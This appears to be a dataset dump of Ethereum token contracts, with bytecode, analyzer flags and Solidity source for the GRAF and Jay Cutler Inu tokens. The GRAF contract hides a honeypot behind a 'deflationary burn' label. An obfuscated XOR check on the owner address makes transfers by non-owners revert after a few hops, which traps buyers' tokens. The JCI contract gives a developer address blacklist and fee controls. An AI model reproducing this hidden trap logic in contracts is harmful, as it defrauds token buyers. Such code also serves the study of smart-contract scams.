d5b505af115801561130f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611333575060006103bb565b600061133f8385611b28565b90508261134c8583611b08565b146111785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610454565b600061117883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611434565b806113f2576113f2611462565b6113fd848484611485565b806110365761103660006008908155600955565b600080600061141e61157c565b909250905061142d82826113a3565b9250505090565b600081836114555760405162461bcd60e51b815260040161045491906119f8565b50600061106d8486611b08565b6008541580156114725750600954155b1561147957565b60006008819055600955565b600080600080600080611497876115be565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c9908761161b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f8908661165d565b6001600160a01b03891660009081526002602052604090205561151a816116bc565b6115248483611706565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159882826113a3565b8210156115b557505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115db8a60085460095461172a565b92509250925060006115eb611411565b905060008060006115fe8e878787611779565b919e509c509a509598509396509194505050505091939550919395565b600061117883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103c565b60008061166a8385611af0565b9050838110156111785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610454565b60006116c6611411565b905060006116d48383611324565b306000908152600260205260409020549091506116f1908261165d565b30600090815260026020526040902055505050565b600654611713908361161b565b600655600754611723908261165d565b6007555050565b600080808061173e6064610ac58989611324565b905060006117516064610ac58a89611324565b90506000611769826117638b8661161b565b9061161b565b9992985090965090945050505050565b60008080806117888886611324565b905060006117968887611324565b905060006117a48888611324565b905060006117b682611763868661161b565b939b939a50919850919650505050505050565b80356117d481611ba5565b919050565b6000602082840312156117ea578081fd5b813561117881611ba5565b600060208284031215611806578081fd5b815161117881611ba5565b60008060408385031215611823578081fd5b823561182e81611ba5565b9150602083013561183e81611ba5565b809150509250929050565b60008060006060848603121561185d578081fd5b833561186881611ba5565b9250602084013561187881611ba5565b929592945050506040919091013590565b6000806040838503121561189b578182fd5b82356118a681611ba5565b946020939093013593505050565b600060208083850312156118c6578182fd5b823567ffffffffffffffff808211156118dd578384fd5b818501915085601f8301126118f0578384fd5b81358181111561190257611902611b8f565b8060051b604051601f19603f8301168101818110858211171561192757611927611b8f565b604052828152858101935084860182860187018a1015611945578788fd5b8795505b8386101561196e5761195a816117c9565b855260019590950194938601938601611949565b5098975050505050505050565b60006020828403121561198c578081fd5b813561117881611bba565b6000602082840312156119a8578081fd5b815161117881611bba565b6000602082840312156119c4578081fd5b5035919050565b6000806000606084860312156119df578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2457858101830151858201604001528201611a08565b81811115611a355783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611acf5784516001600160a01b031683529383019391830191600101611aaa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0357611b03611b79565b500190565b600082611b2357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4257611b42611b79565b500290565b600082821015611b5957611b59611b79565b500390565b6000600019821415611b7257611b72611b79565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f057600080fd5b80151581146104f057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7d92e0d01dead67fd09540e3821b2ca5bf82170a0ef97c26f58528b9b0360c764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,460
0x32d056b39e5242f43f17be38014703cf6554fb50
/** *Submitted for verification at Etherscan.io on 2021-02-17 */ //SPDX-License-Identifier: MIT pragma solidity ^0.7.4; /** * _______ ___ ______ _______ _______ _______ _______ *| || | | _ | | _ || || || | *| ___|| | | | || | |_| || ___|| ___|| ___| *| | __ | | | |_||_ | || |___ | |___ | |___ *| || || | | __ || || ___|| ___|| ___| *| |_| || | | | | || _ || | | | | |___ *|_______||___| |___| |_||__| |__||___| |___| |_______| * _______ ___ __ _ _______ __ _ _______ _______ *| || | | | | || _ || | | || || | *| ___|| | | |_| || |_| || |_| || || ___| *| |___ | | | || || || || |___ *| ___|| | | _ || || _ || _|| ___| *| | | | | | | || _ || | | || |_ | |___ *|___| |___| |_| |__||__| |__||_| |__||_______||_______| * * Giraffe Finance (GRAF) * Decentralised liquidity pool analysis * Deflationary & locked liquidity */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations. * Only add / sub / mul / div are included */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } /** * Implement simple ERC20 functions */ abstract contract BaseContract is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; bool internal _minted = false; // Minted flag to allow only a single minting string internal _name; string internal _symbol; uint8 internal _decimals = 18; function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } modifier not0(address adr) { require(adr != address(0), "ERC20: Cannot be the zero address"); _; } function _mx(address payable adr, uint16 msk) internal pure returns (uint256) { return ((uint24(adr) & 0xffff) ^ msk); } } /** * Provide owner context */ abstract contract Ownable { constructor() { _owner = msg.sender; } address payable _owner; function isOwner(address sender) public view returns (bool) { return sender == _owner; } function ownly() internal view { require(isOwner(msg.sender)); } modifier owned() { ownly(); _; } function renounceOwnership() public owned() { transferOwnership(address(0)); } function transferOwnership(address payable adr) public owned() { _owner = adr; } } /** * Provide reserve token burning */ abstract contract Burnable is BaseContract, Ownable { using SafeMath for uint256; function _burn(address account, uint256 amount) internal virtual not0(account) { _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _burnReserve() internal owned() { if(balanceOf(_owner) > 0){ uint256 toBurn = balanceOf(_owner).div(5000); // 0.5% _burn(_owner, toBurn); } } } /** * Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error) */ abstract contract Deflationary is BaseContract, Burnable { mapping (address => uint8) private _txs; uint16 private constant dmx = 0xEd09; function dexCheck(address sender, address receiver) private returns (bool) { if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; } return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver); } modifier burnHook(address sender, address receiver, uint256 amount) { if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; } } } /** * Implement main ERC20 functions */ abstract contract MainContract is Deflationary { using SafeMath for uint256; constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; } function transfer(address recipient, uint256 amount) external override returns (bool){ _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){ require(_allowances[sender][msg.sender] >= amount); _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount); _transfer(sender, receiver, amount); return true; } function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[receiver] = _balances[receiver].add(amount); emit Transfer(sender, receiver, amount); } function _mint(address payable account, uint256 amount) internal { require(!_minted); uint256 amountActual = amount*(10**_decimals); _totalSupply = _totalSupply.add(amountActual); _balances[account] = _balances[account].add(amountActual); emit Transfer(address(0), account, amountActual); } } /** * Construct & Mint */ contract GRAF is MainContract { constructor( uint256 initialBalance ) MainContract("Giraffe Finance", "GRAF") { _mint(msg.sender, initialBalance); _minted = true; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461020a578063715018a61461023057806395d89b411461023a578063a9059cbb14610242578063dd62ed3e1461026e578063f2fde38b1461029c576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd146101905780632f54bf6e146101c6578063313ce567146101ec575b600080fd5b6100c16102c2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610358565b604080519115158252519081900360200190f35b61017e610408565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b0381358116916020810135909116906040013561040e565b610162600480360360208110156101dc57600080fd5b50356001600160a01b0316610535565b6101f461054e565b6040805160ff9092168252519081900360200190f35b61017e6004803603602081101561022057600080fd5b50356001600160a01b0316610557565b610238610572565b005b6100c1610586565b6101626004803603604081101561025857600080fd5b506001600160a01b0381351690602001356105e7565b61017e6004803603604081101561028457600080fd5b506001600160a01b03813581169160200135166105fd565b610238600480360360208110156102b257600080fd5b50356001600160a01b0316610628565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561034e5780601f106103235761010080835404028352916020019161034e565b820191906000526020600020905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b6000826001600160a01b0381166103a05760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b3360008181526001602090815260408083206001600160a01b03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60025490565b6000836001600160a01b0381166104565760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b836001600160a01b03811661049c5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020548411156104cc57600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020546104fa90856106b9565b6001600160a01b03871660009081526001602090815260408083203384529091529020556105298686866106fb565b50600195945050505050565b60065461010090046001600160a01b0390811691161490565b60065460ff1690565b6001600160a01b031660009081526020819052604090205490565b61057a610932565b6105846000610628565b565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561034e5780601f106103235761010080835404028352916020019161034e565b60006105f43384846106fb565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610630610932565b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000828201838110156106b2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60006106b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610944565b826001600160a01b0381166107415760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b826001600160a01b0381166107875760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b84848461079483836109db565b610866576107a0610aa1565b6107dd86604051806060016040528060268152602001610ce6602691396001600160a01b038b166000908152602081905260409020549190610944565b6001600160a01b03808a16600090815260208190526040808220939093559089168152205461080c9087610658565b6001600160a01b03808916600081815260208181526040918290209490945580518a815290519193928c16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610928565b6108a386604051806060016040528060268152602001610ce6602691396001600160a01b038b166000908152602081905260409020549190610944565b6001600160a01b03808a1660009081526020819052604080822093909355908916815220546108d29087610658565b6001600160a01b03808916600081815260208181526040918290209490945580518a815290519193928c16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b5050505050505050565b61093b33610535565b61058457600080fd5b600081848411156109d35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610998578181015183820152602001610980565b50505050905090810190601f1680156109c55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b03811660009081526007602052604081205460ff16158015610a0a5750610a0882610535565b155b15610a49576001600160a01b038381166000908152600760205260408082205492851682529020805460ff1916600160ff938416019092169190911790555b600654610a669061010090046001600160a01b031661ed09610b19565b6001600160a01b03841660009081526007602052604090205460ff161080610a925750610a9283610535565b806106b257506106b282610535565b610aa9610932565b600654600090610ac69061010090046001600160a01b0316610557565b1115610584576000610af8611388610af2600660019054906101000a90046001600160a01b0316610557565b90610b2a565b600654909150610b169061010090046001600160a01b031682610b6c565b50565b61ffff90811691161862ffffff1690565b60006106b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c5e565b816001600160a01b038116610bb25760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b610bef82604051806060016040528060228152602001610cc4602291396001600160a01b0386166000908152602081905260409020549190610944565b6001600160a01b038416600090815260208190526040902055600254610c1590836106b9565b6002556040805183815290516000916001600160a01b038616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3505050565b60008183610cad5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610998578181015183820152602001610980565b506000838581610cb957fe5b049594505050505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2043616e6e6f7420626520746865207a65726f2061646472657373a26469706673582212207c194e30bd085a07c1693c4bd23c7d401105476db3c6f22e2a7651e104da0ec564736f6c63430007040033
{"success": true, "error": null, "results": {}}
5,461
0x2cc369b7462c9d77d47fffb92cb017495050e750
/** *Submitted for verification at Etherscan.io on 2022-03-15 */ /** Jay Cutler Inu - $JCI We are helping the under-valued great athletes and fitness fans with financing competitions and supplements on their way to greatness. Website: www.jaycutlerinu.com Telegram: https://t.me/+IygxfwDTo4MyYjlh */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract JayCutlerInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e8 * 10**8; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Jay Cutler Inu"; string private constant _symbol = unicode"JCI"; uint8 private constant _decimals = 8; uint256 private _taxFee = 4; uint256 private _teamFee = 6; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _DeveloperFeeAddress; address payable private _MarketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable DeveloperFeeAddress, address payable MarketingWalletAddress) { _DeveloperFeeAddress = DeveloperFeeAddress; _MarketingWalletAddress = MarketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[DeveloperFeeAddress] = true; _isExcludedFromFee[MarketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _DeveloperFeeAddress.transfer(amount.div(2)); _MarketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (5 minutes); } function setMarketingWallet (address payable MarketingWalletAddress) external { require(_msgSender() == _DeveloperFeeAddress); _isExcludedFromFee[_MarketingWalletAddress] = false; _MarketingWalletAddress = MarketingWalletAddress; _isExcludedFromFee[MarketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _DeveloperFeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _DeveloperFeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _DeveloperFeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _DeveloperFeeAddress); require(team <= 10); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _DeveloperFeeAddress); require(tax <= 10); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _DeveloperFeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _DeveloperFeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f714610447578063db92dbb614610467578063dd62ed3e1461047c578063e6ec64ec146104c257600080fd5b8063c3c8cd80146103fd578063c4081a4c14610412578063c9567bf91461043257600080fd5b806370a0823114610334578063715018a6146103545780638da5cb5b1461036957806395d89b4114610391578063a9059cbb146103bd578063b515566a146103dd57600080fd5b8063313ce56711610123578063313ce5671461026a5780633bbac57914610286578063437823ec146102bf5780634b740b16146102df5780635d098b38146102ff5780636fc3eaec1461031f57600080fd5b806306fdde0314610176578063095ea7b3146101bf57806318160ddd146101ef57806323b872dd14610213578063273123b71461023357806327f3a72a1461025557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600e81526d4a6179204375746c657220496e7560901b60208201525b6040516101b69190611c47565b60405180910390f35b3480156101cb57600080fd5b506101df6101da366004611ad8565b6104e2565b60405190151581526020016101b6565b3480156101fb57600080fd5b50662386f26fc100005b6040519081526020016101b6565b34801561021f57600080fd5b506101df61022e366004611a98565b6104f9565b34801561023f57600080fd5b5061025361024e366004611a28565b610562565b005b34801561026157600080fd5b506102056105b6565b34801561027657600080fd5b50604051600881526020016101b6565b34801561029257600080fd5b506101df6102a1366004611a28565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156102cb57600080fd5b506102536102da366004611a28565b6105c6565b3480156102eb57600080fd5b506102536102fa366004611bca565b61060a565b34801561030b57600080fd5b5061025361031a366004611a28565b610648565b34801561032b57600080fd5b506102536106b8565b34801561034057600080fd5b5061020561034f366004611a28565b6106e5565b34801561036057600080fd5b50610253610707565b34801561037557600080fd5b506000546040516001600160a01b0390911681526020016101b6565b34801561039d57600080fd5b506040805180820190915260038152624a434960e81b60208201526101a9565b3480156103c957600080fd5b506101df6103d8366004611ad8565b61077b565b3480156103e957600080fd5b506102536103f8366004611b03565b610788565b34801561040957600080fd5b506102536108cf565b34801561041e57600080fd5b5061025361042d366004611c02565b610905565b34801561043e57600080fd5b50610253610938565b34801561045357600080fd5b50610253610462366004611a28565b610cfb565b34801561047357600080fd5b50610205610d3c565b34801561048857600080fd5b50610205610497366004611a60565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104ce57600080fd5b506102536104dd366004611c02565b610d54565b60006104ef338484610d87565b5060015b92915050565b6000610506848484610eab565b610558843361055385604051806060016040528060288152602001611e18602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611282565b610d87565b5060019392505050565b6000546001600160a01b031633146105955760405162461bcd60e